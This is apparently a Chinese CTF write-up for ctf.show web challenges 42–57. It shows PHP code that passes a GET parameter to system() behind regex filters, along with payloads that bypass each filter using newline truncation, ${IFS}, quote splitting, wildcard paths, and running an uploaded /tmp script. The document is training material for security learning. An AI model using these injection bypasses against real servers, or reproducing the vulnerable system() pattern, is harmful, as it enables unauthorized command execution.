web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
在变量后面拼接了一堆字符串。在此之前,我们需要先思考这一串是什么东西。
>/dev/null 2>&1
就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
因此这个也被成为数据黑洞(还是很形象的)。
这部分的bypass是双写,让后面的指令结果进入黑洞,但是保全前面的命令。
比如说:?c=ls;ls
,这就出现了运行结果。
于是payload也就很容易得到了:?c=tac flag.php;ls
方法二
当然直接使用%0a
截断也可以,比如:tac f*%0a
从重定向到黑洞(>/dev/null 2>&1)
https://www.cnblogs.com/kexianting/p/11630085.html(建议忘了看这个,写的很全)
但是我们不能只知道这个东西是是黑洞,我们也要明白其中的原理。
容易看出,上面的语句应该是分成两段,前一段是:>/dev/null
后一段是:2>&1
前者的含义是将输出结果定向到>/dev/null
,而这个地址表示的是linux的空设备,因此会将运行结果消灭。
而后者简单解释就是将正确和错误两个输出绑定到一起,都输出到同一个地方。(其中1指的是标准输出,2指的是错误输出,详细的看参考文章)。
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了分号,不能用上一题的方法绕过了,但是可以使用%0a
(回车)截断。
payload:tac f*%0a
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac f*%0a
web45 IFS绕过原理解析
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多了一个空格过滤,payload中简单加一个${IFS}
即可绕过。?c=tac${IFS}f*%0a
备注
一直使用IFS来绕过,但是一直不知道什么意思,了解了一下:
$IFS 是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space,tab, newline 即空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
直接用$IFS的话,会认为解析没结束,会把后面的也当做参数解析,比如cat$IFSflag.php,会把IFSflag一起当变量解析。这时候需要在$IFS后面进行截断,使解析为空,结束 $IFS,正常执行后面的内容。
cat$IFS$1flag.php //使用特殊变量
cat${IFS}flag.php //使用{}
cat$IFS'f'lag.php //使用引号
cat$IFS\flag.php //使用转义符
cat$IFS?lag.php //使用通配符
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
空格过滤还过滤了美元符号,用通配符<
绕过即可。flag和*过滤用单双引号绕过即可。?c=tac<>'f'lag.php%0a
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<'f'lag.php%0a
hint中给的方法是这种:nl<fla''g.php||
看来管道符也可以截断,但是尝试将管道符换成&却不行。可能这里截断的是文本而不是命令。
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
竟然还没有过滤tac?c=tac<'f'lag.php%0a
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<f''lag.php||
不让用%0a,就用刚刚在hint中学到的双管道符隔断。
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<f''lag.php||
过滤中出现了很有意思的东西:\x09 和\x26
,\x表示后面两位用十六进制来表示,则前面两国的代表ascii码为9和26的字符
注意是十六进制,不是十进制。
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这回把tac过滤了,但是还是有能用的,比如说nl?c=nl<'f'lag.php||
,php代码需要打开f12查看。
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
把通配符的<>过滤了,找了半天还有什么办法能够绕过空额过滤,看hint才发现又可以使用$了…?c=nl${IFS}fla''g.php||
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fla''g.php
但实际上前面过滤的字符也可以通过单引号引用绕过过滤,比如hint中的payload如下:c''at${IFS}fla''g.p''hp
web54 通配符中问号的使用
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
第一种方法:mv${IFS}fla?.php${IFS}a.txt
,因为没有禁用ls,因此知道文件名,因此可以使用mv来重命名文件。然后打开即可,打开有几种不同的方法,比如说?c=uniq${IFS}a.txt
,但是flag在源代码中,需要f12查看;或者用?c=rev${IFS}a.txt
反转输出文件,这种得到的flag是行反转的,需要调转回来:
除此之外,还有一种直接一步完成的方法。c=uniq${IFS}f???.php
,这里通过使用?通配符来一步绕过过滤,其实对名称的过滤大部分就是对linux通配符的考察,需要我们一点点加强功底。
通配符?和*的区别
*可以替代一个或多个字符,而?只能替代一个字符。
比如:
- 如果正在查找以AEW开头的一个文件,但不记得文件名其余部分,可以输入AEW*,查找以AEW开头的所有文件类型的文件,如AEWT.txt、AEWU.EXE、AEWI.dll等。
- 如果输入love?,查找以love开头的一个字符结尾文件类型的文件,如lovey、lovei等。要缩小范围可以输入love?.doc,查找以love开头的一个字符结尾文件类型并.doc为扩展名的文件如lovey.doc、loveh.doc。
web55 通配符中问号使用plus版
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
刚看到这个题的第一想法是使用自增,但是发现吧分号过滤了,用不了。看了一下wp,发现了几种比较牛逼的解法。
方法一 使用bin目录下的base64命令 ?来代替字符
这里想使用的知识点是:/bin/base64 flag.php
先介绍一下,在/bin目录下有若干个命令可以使用:
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
但是这里过滤了字符,不能直接用,因此我们可以借助通配符中的问号来完成payload。
即/???/????64
因为没有过滤掉数字,所以可以通过64来找到base64命令。当然,文件名也是可以使用?表示的。
payload:/???/????64 ????.???
后面这串代表的flag.php
。将得到的字符串base64解密即可。
但是如何知道文件名是flag.php
的这里并没有提到。
方法二 使用bzip2下载文件 ?来代替字符
除了/bin
地址下,/usr/bin
下也有执行命令。
c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等
因此,我们也可以像方法一中选择具有数字的方法来使用,比如:/usr/bin/bzip2 flag.php
修改为payload:/???/???/????2 ????.???
,压缩之后,查询发现bzip2方法压缩的文件名称后缀为.bz2
因此我们访问文件下载即可/flag.php.bz2
,在本地解压打开即可:
方法三 “.”的妙用
source命令,也就是.命令,可以通过. file
来执行命令,因此这题我们可以通过post上传文件来执行命令。
当我们上传文件之后,文件会被保存在/tmp
下,文件名称为随机构成的六个字符。因此可以使用/???/??????
来匹配文件,但是临时文件有很多,这样没有办法精准地找到需要的文件。
这篇文章给出了解决方案:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
在tmp临时文件中,只有php生成的文件是包含大写字母的,其余都是小写字母,因此我们可以加一个过滤大写字母的正则表达式,但是由于不一定一定会生成大写字母,因此需要多次尝试。
过滤出大写字母正常来说应该按照如下来写:/???/????????[A-Z]
,但是这题里面过滤掉了字符,因此只能用A前面的字符和Z后面的字符(ASCII表),也就是:/???/????????[@-[]
。
我们应该如何上传文件呢。
比较复杂的办法就是自己构造post内容写,比较简单的就是借助工具。
在本地写一个简单的html文件(将地址修改为目标地址)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://d3b49897-da81-47f9-8495-e017b7cf25e7.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
本地运行文件,然后上传即可。
修改上传文件内容:
#!/bin/sh
cat flag.php
注意途中要抓包,这样才更方便修改。
修改get传参/?c=. /???/????????[@-[]
,我们可以先修改文件内容来ls一下查看文件:
cat访问文件。
注意,有的时候没有回显是因为文件末尾并不是大写字母,需要多尝试两遍。
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
同理,使用上一题第三种方法上传文件即可。
web57
https://blog.csdn.net/qq_46091464/article/details/108563368
https://blog.csdn.net/weixin_45551083/article/details/110096787
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
跑一下剩余字符:
题目的意思就是让我们使用剩余的这些字符凑出一个36出来。我们先看一下payload是什么:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
我们在linux中尝试一下:
为什么会这样呢?我们分析一下,我们先要知道这其中的几个基础结构:
${_}:代表上一次命令执行的结果
$(()): 做运算
知道了基础,然后我们结合数据。
$((${_}))=0
$((~$((${_}))))=-1
然后直接使用脚本跑就行,需要36,那么就传入37然后再减一就行。
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)